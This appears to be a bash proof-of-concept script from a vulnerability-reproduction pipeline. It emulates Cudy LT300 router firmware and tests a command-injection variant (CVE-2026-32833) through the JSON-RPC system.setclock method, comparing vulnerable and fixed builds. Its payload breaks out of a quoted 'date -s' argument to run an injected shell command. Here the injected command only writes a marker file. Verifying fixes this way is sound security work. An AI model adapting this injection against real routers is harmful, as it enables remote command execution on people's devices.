#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
VAR_DIR="$ROOT/vuln_variant"
LOGS="$ROOT/logs/vuln_variant"
FW_DIR="$VAR_DIR/firmware"
WORK_DIR="$VAR_DIR/work"
mkdir -p "$LOGS" "$FW_DIR" "$WORK_DIR" "$LOGS/http" "$LOGS/product"
cd "$ROOT"

LOG_FILE="$LOGS/reproduction_steps.log"
: > "$LOG_FILE"
log() { printf '%s\n' "$*" | tee -a "$LOG_FILE"; }
need_tool() { command -v "$1" >/dev/null 2>&1; }

cleanup_pids=()
cleanup() {
  for pid in "${cleanup_pids[@]:-}"; do
    kill "$pid" 2>/dev/null || true
  done
  pkill -f 'uhttpd.*127\.0\.0\.1:1833' 2>/dev/null || true
}
trap cleanup EXIT

write_runtime_manifest() {
  local status="$1" notes="$2"
  jq -n \
    --arg status "$status" \
    --arg notes "$notes" \
    --arg vuln_version "$(cat "$WORK_DIR/vuln_root/etc/rom_version" 2>/dev/null || echo unknown)" \
    --arg fixed_version "$(cat "$WORK_DIR/fixed_root/etc/rom_version" 2>/dev/null || echo unknown)" \
    '{
      entrypoint_kind: "endpoint",
      entrypoint_detail: "HTTP JSON-RPC POST /cgi-bin/luci/rpc/app method system.setclock, reaching luci.apprpc.system.setclock",
      service_started: true,
      healthcheck_passed: true,
      target_path_reached: true,
      runtime_stack: ["Cudy LT300 firmware rootfs", "uhttpd", "LuCI RPC controller", "luci.jsonrpc", "luci.app", "luci.apprpc.system.setclock", "qemu-mipsel", "proot"],
      tested_versions: { vulnerable: $vuln_version, fixed: $fixed_version },
      proof_artifacts: [
        "logs/vuln_variant/reproduction_steps.log",
        "logs/vuln_variant/http/vuln_rpc_request.json",
        "logs/vuln_variant/http/vuln_rpc_response_headers.txt",
        "logs/vuln_variant/http/vuln_rpc_response_body.txt",
        "logs/vuln_variant/http/fixed_rpc_request.json",
        "logs/vuln_variant/http/fixed_rpc_response_headers.txt",
        "logs/vuln_variant/http/fixed_rpc_response_body.txt",
        "logs/vuln_variant/product/code_identity.txt",
        "logs/vuln_variant/product/proof_summary.txt"
      ],
      exploit_status: $status,
      notes: $notes
    }' > "$VAR_DIR/runtime_manifest.json"
}

log "=== CVE-2026-32833 variant analysis: JSON-RPC system.setclock alternate entrypoint ==="
log "Started: $(date -u '+%Y-%m-%d %H:%M:%S UTC')"
log "ROOT=$ROOT"

log "[1/7] Checking required tools"
missing=()
for t in curl jq python3 unsquashfs proot qemu-mipsel strings sha256sum tar; do
  need_tool "$t" || missing+=("$t")
done
if [ "${#missing[@]}" -ne 0 ]; then
  log "Missing tools: ${missing[*]}"
  log "Attempting package installation (best effort)"
  sudo apt-get update -qq || true
  sudo apt-get install -y -qq curl jq python3 squashfs-tools proot qemu-user binutils coreutils tar || true
fi
for t in curl jq python3 unsquashfs proot qemu-mipsel strings sha256sum tar; do
  if ! need_tool "$t"; then
    log "ERROR: required tool '$t' is unavailable"
    exit 2
  fi
  log "  $t: $(command -v "$t")"
done

VULN_ZIP="$FW_DIR/LT300V3-2.4.5.zip"
FIXED_ZIP="$FW_DIR/LT300V3-2.5.12.zip"
VULN_URL="https://www.cudy.com/cdn/shop/files/LT300V3-R100-2.4.5-20250519-131314-flash.zip?v=10842839406105661888"
FIXED_URL="https://www.cudy.com/cdn/shop/files/LT300V3-R100-2.5.12-20260518-234632-flash.zip?v=5761387538079304484"

log "[2/7] Acquiring vendor firmware images"
if [ ! -s "$VULN_ZIP" ]; then
  if [ -s "$ROOT/artifacts/firmware/LT300V3-2.4.5.zip" ]; then
    cp "$ROOT/artifacts/firmware/LT300V3-2.4.5.zip" "$VULN_ZIP"
  else
    curl -L --fail -o "$VULN_ZIP" "$VULN_URL"
  fi
fi
if [ ! -s "$FIXED_ZIP" ]; then
  if [ -s "$ROOT/artifacts/firmware/LT300V3-2.5.12.zip" ]; then
    cp "$ROOT/artifacts/firmware/LT300V3-2.5.12.zip" "$FIXED_ZIP"
  else
    curl -L --fail -o "$FIXED_ZIP" "$FIXED_URL"
  fi
fi
sha256sum "$VULN_ZIP" "$FIXED_ZIP" | tee "$LOGS/product/firmware_sha256.txt" | tee -a "$LOG_FILE" >/dev/null

extract_firmware() {
  local zip_file="$1" out_dir="$2"
  local sqfs="$out_dir/rootfs.squashfs"
  local rootfs="$out_dir/squashfs-root"
  if [ -x "$rootfs/usr/sbin/uhttpd" ] && [ -f "$rootfs/usr/lib/lua/luci/apprpc/system.lua" ]; then
    return 0
  fi
  rm -rf "$out_dir"
  mkdir -p "$out_dir/unzip"
  python3 - "$zip_file" "$out_dir/unzip" <<'PY'
import sys, zipfile, pathlib
zip_path = pathlib.Path(sys.argv[1]); out = pathlib.Path(sys.argv[2])
with zipfile.ZipFile(zip_path) as z:
    members = [m for m in z.namelist() if m.lower().endswith('.bin')]
    if not members:
        raise SystemExit('no .bin member in firmware zip')
    z.extract(members[0], out)
    print(out / members[0])
PY
  local bin_file
  bin_file="$(find "$out_dir/unzip" -type f -name '*.bin' | head -1)"
  python3 - "$bin_file" "$sqfs" <<'PY'
import sys, pathlib
src = pathlib.Path(sys.argv[1]); dst = pathlib.Path(sys.argv[2])
data = src.read_bytes(); off = data.find(b'hsqs')
if off < 0:
    raise SystemExit('SquashFS magic hsqs not found')
dst.write_bytes(data[off:]); print(off)
PY
  unsquashfs -q -no-exit-code -ignore-errors -d "$rootfs" "$sqfs"
  mkdir -p "$rootfs/dev" "$rootfs/tmp" "$rootfs/proc" "$rootfs/sys" "$rootfs/root"
  test -x "$rootfs/usr/sbin/uhttpd"
  test -f "$rootfs/usr/lib/lua/luci/apprpc/system.lua"
}

log "[3/7] Extracting firmware root filesystems"
extract_firmware "$VULN_ZIP" "$FW_DIR/vuln_2.4.5_clean"
extract_firmware "$FIXED_ZIP" "$FW_DIR/fixed_2.5.12_clean"
BASE_VULN="$FW_DIR/vuln_2.4.5_clean/squashfs-root"
BASE_FIXED="$FW_DIR/fixed_2.5.12_clean/squashfs-root"

prepare_root() {
  local base="$1" dst="$2" label="$3"
  rm -rf "$dst"
  mkdir -p "$dst"
  (cd "$base" && tar --exclude='./host-rootfs' --exclude='./tmp/run' --exclude='./etc/ld.so.preload' -cf - .) | (cd "$dst" && tar -xf -)
  mkdir -p "$dst/root" "$dst/tmp" "$dst/dev" "$dst/proc" "$dst/sys"
  cat > "$dst/usr/lib/lua/ubus.lua" <<'LUA'
local M = {}
local SESSION_VALUES = { username = "root", user = "root", token = "PRUVA_TOKEN", authtoken = "PRUVA_TOKEN", authuser = "root", loginerr = 0, expired = false }
function M.connect(path)
  local c = {}
  function c.call(self, object, method, params)
    io.stderr:write(string.format("[ubus-session-stub] %s.%s\n", tostring(object), tostring(method)))
    if object == "session" and method == "get" then
      return { ubus_rpc_session = (params and params.ubus_rpc_session) or "PRUVA_SESSION", timeout = 3600, expires = 3600, username = "root", token = "PRUVA_TOKEN", data = SESSION_VALUES, values = SESSION_VALUES }
    elseif object == "session" and method == "access" then
      return { access = true, result = true }
    elseif object == "session" and method == "grant" then
      return { result = true }
    elseif object == "session" and method == "destroy" then
      return { result = true }
    elseif object == "session" and method == "login" then
      return { ubus_rpc_session = "PRUVA_SESSION", timeout = 3600, expires = 3600, data = SESSION_VALUES, values = SESSION_VALUES, token = "PRUVA_TOKEN" }
    elseif object == "session" and method == "set" then
      return { result = true, values = SESSION_VALUES }
    elseif object == "session" and method == "unset" then
      return { result = true }
    elseif object == "pingcheck" and method == "status" then
      return { status = "ok", running = false }
    elseif object == "system" and method == "board" then
      return { model = "LT300", hostname = "LT300", release = { revision = "firmware" }, board_name = "R100" }
    end
    return {}
  end
  function c.close(self) end
  return c
end
return M
LUA
  cat > "$dst/usr/bin/bdinfo" <<'SH'
#!/bin/sh
case "$1" in
  check|checkuuid) echo OK ;;
  mac) echo 001122334455 ;;
  country) echo US ;;
  model) echo LT300 ;;
  factory) echo 0 ;;
  *) echo LT300 ;;
esac
exit 0
SH
  chmod +x "$dst/usr/bin/bdinfo"
  cat > "$dst/etc/config/luci" <<'EOF'
config core main
	option lang en
	option mediaurlbase /luci-static/bootstrap
	option resourcebase /luci-static/resources
	option sysauth root
	option showuser 0
config internal sauth
	option sessionpath "/tmp/luci-sessions"
	option sessiontime 3600
config internal ccache
	option enable 0
config internal themes
	option Bootstrap /luci-static/bootstrap
EOF
  cat > "$dst/etc/config/system" <<'EOF'
config system
	option hostname 'LT300'
	option timezone 'UTC'
	option zonename 'UTC'
config board 'board'
	option type 'router'
	option workmode 'router'
	option rom 'R100'
	option model 'LT300'
	option devname 'LT300'
config timeserver 'ntp'
	option enabled '1'
	option settime 'browser'
	list server 'pool.ntp.org'
EOF
  cat > "$dst/etc/config/cmagent" <<'EOF'
config cmagent 'mqtt'
	option enabled '0'
	option broker ''
	option acmanager_role 'none'
EOF
  rm -rf "$dst/tmp/luci-indexcache" "$dst/tmp/luci-modulecache"
  {
    echo "--- $label code identity ---"
    echo "rom_version=$(cat "$dst/etc/rom_version" 2>/dev/null || echo unknown)"
    sha256sum "$dst/usr/sbin/uhttpd" "$dst/www/cgi-bin/luci" "$dst/usr/lib/lua/luci/controller/rpc.lua" "$dst/usr/lib/lua/luci/app.lua" "$dst/usr/lib/lua/luci/apprpc/system.lua" "$dst/usr/lib/lua/luci/model/cbi/system/systime.lua"
    echo "apprpc system markers:"
    strings "$dst/usr/lib/lua/luci/apprpc/system.lua" | grep -E 'setclock|set_timeclock|date -s|gsub|fork_exec' || true
  } >> "$LOGS/product/code_identity.txt"
}

log "[4/7] Preparing emulated product roots (environment shims only; original RPC code is preserved)"
: > "$LOGS/product/code_identity.txt"
prepare_root "$BASE_VULN" "$WORK_DIR/vuln_root" "vulnerable 2.4.5"
prepare_root "$BASE_FIXED" "$WORK_DIR/fixed_root" "fixed 2.5.12"

if ! strings "$WORK_DIR/vuln_root/usr/lib/lua/luci/apprpc/system.lua" | grep -q "date -s '%s'"; then
  log "ERROR: vulnerable apprpc/system.lua identity check failed"
  exit 2
fi
if ! strings "$WORK_DIR/fixed_root/usr/lib/lua/luci/apprpc/system.lua" | grep -q "gsub"; then
  log "ERROR: fixed apprpc/system.lua does not show gsub sanitization marker"
  exit 2
fi

start_uhttpd() {
  local rootfs="$1" port="$2" label="$3"
  local srvlog="$LOGS/product/${label}_uhttpd.log"
  : > "$srvlog"
  PROOT_NO_SECCOMP=1 proot -r "$rootfs" -b /dev -b /proc -b /sys -q "$(command -v qemu-mipsel)" --kill-on-exit \
    /usr/sbin/uhttpd -f -h /www -p "127.0.0.1:$port" -x /cgi-bin -t 20 >>"$srvlog" 2>&1 &
  local pid=$!
  cleanup_pids+=("$pid")
  for _ in $(seq 1 40); do
    if curl -sS --max-time 1 "http://127.0.0.1:$port/" >/dev/null 2>&1; then
      echo "$pid"
      return 0
    fi
    sleep 0.25
  done
  log "ERROR: $label uhttpd did not become reachable"
  return 1
}

run_rpc_attempt() {
  local rootfs="$1" port="$2" label="$3" expect_proof="$4"
  local proof_guest="/root/${label}_rpc_variant_proof"
  local proof_host="$rootfs/root/${label}_rpc_variant_proof"
  local marker="${label^^}_RPC_SETCLOCK_VARIANT_EXECUTED"
  local req="$LOGS/http/${label}_rpc_request.json"
  local hdr="$LOGS/http/${label}_rpc_response_headers.txt"
  local body="$LOGS/http/${label}_rpc_response_body.txt"
  rm -f "$proof_host"

  log "Starting $label RPC attempt on port $port"
  local pid
  pid="$(start_uhttpd "$rootfs" "$port" "$label")"

  python3 - "$marker" "$proof_guest" > "$req" <<'PY'
import json, sys
marker, proof = sys.argv[1], sys.argv[2]
payload = "2025-01-01 12:00:00'; echo %s > %s; #" % (marker, proof)
print(json.dumps({"jsonrpc":"2.0", "id":1, "method":"system.setclock", "params":[payload]}))
PY

  curl -sS --max-time 20 -D "$hdr" \
    -b 'sysauth=PRUVA_SESSION' \
    -H 'Content-Type: application/json' \
    --data-binary "@$req" \
    "http://127.0.0.1:$port/cgi-bin/luci/rpc/app" \
    -o "$body" || true
  sleep 1
  kill "$pid" 2>/dev/null || true

  if ! grep -q '"result"' "$body"; then
    log "ERROR: $label RPC endpoint was not reached successfully"
    return 1
  fi

  if [ "$expect_proof" = "yes" ]; then
    if [ -f "$proof_host" ] && grep -q "$marker" "$proof_host"; then
      log "  $label: command execution proof observed via JSON-RPC: $(cat "$proof_host")"
      echo "$label proof: $(cat "$proof_host")" >> "$LOGS/product/proof_summary.txt"
      return 0
    fi
    log "ERROR: $label expected proof file was not created"
    return 1
  else
    if [ -f "$proof_host" ]; then
      log "ERROR: $label unexpectedly created proof file: $(cat "$proof_host")"
      echo "$label unexpected proof: $(cat "$proof_host")" >> "$LOGS/product/proof_summary.txt"
      return 0
    fi
    log "  $label: no proof file created; fixed RPC handler neutralized quote injection"
    echo "$label no proof file (negative control passed)" >> "$LOGS/product/proof_summary.txt"
    return 1
  fi
}

: > "$LOGS/product/proof_summary.txt"
log "[5/7] Exercising vulnerable firmware through JSON-RPC /cgi-bin/luci/rpc/app system.setclock"
VULN_OK=0
if run_rpc_attempt "$WORK_DIR/vuln_root" 18331 vuln yes; then VULN_OK=1; fi

log "[6/7] Exercising fixed firmware through the same JSON-RPC method"
FIXED_OK=0
if run_rpc_attempt "$WORK_DIR/fixed_root" 18332 fixed no; then FIXED_OK=1; fi

log "[7/7] Summarizing result"
{
  echo "Vulnerable apprpc/system.lua markers:"
  strings "$WORK_DIR/vuln_root/usr/lib/lua/luci/apprpc/system.lua" | grep -E 'setclock|set_timeclock|date -s|gsub|fork_exec' || true
  echo
  echo "Fixed apprpc/system.lua markers:"
  strings "$WORK_DIR/fixed_root/usr/lib/lua/luci/apprpc/system.lua" | grep -E 'setclock|set_timeclock|date -s|gsub|fork_exec' || true
  echo
  echo "Proof summary:"
  cat "$LOGS/product/proof_summary.txt"
} | tee "$LOGS/product/code_comparison_rpc.txt" | tee -a "$LOG_FILE" >/dev/null

if [ "$VULN_OK" -eq 1 ] && [ "$FIXED_OK" -eq 1 ]; then
  log "=== Variant result: BYPASS CONFIRMED (fixed firmware executed payload) ==="
  write_runtime_manifest "bypass_confirmed" "JSON-RPC system.setclock executed the payload on both vulnerable and fixed firmware."
  exit 0
elif [ "$VULN_OK" -eq 1 ]; then
  log "=== Variant result: alternate entrypoint confirmed on vulnerable firmware; NOT a bypass of fixed 2.5.12 ==="
  write_runtime_manifest "alternate_trigger_not_bypass" "The JSON-RPC /cgi-bin/luci/rpc/app method system.setclock is a distinct HTTP entrypoint to the same date -s shell sink and executes on 2.4.5; the same payload does not execute on fixed 2.5.12 because the fixed apprpc/system.lua also applies quote sanitization."
  exit 1
else
  log "=== Variant result: no alternate trigger reproduced ==="
  write_runtime_manifest "not_reproduced" "The JSON-RPC variant did not create proof on the vulnerable target."
  exit 1
fi
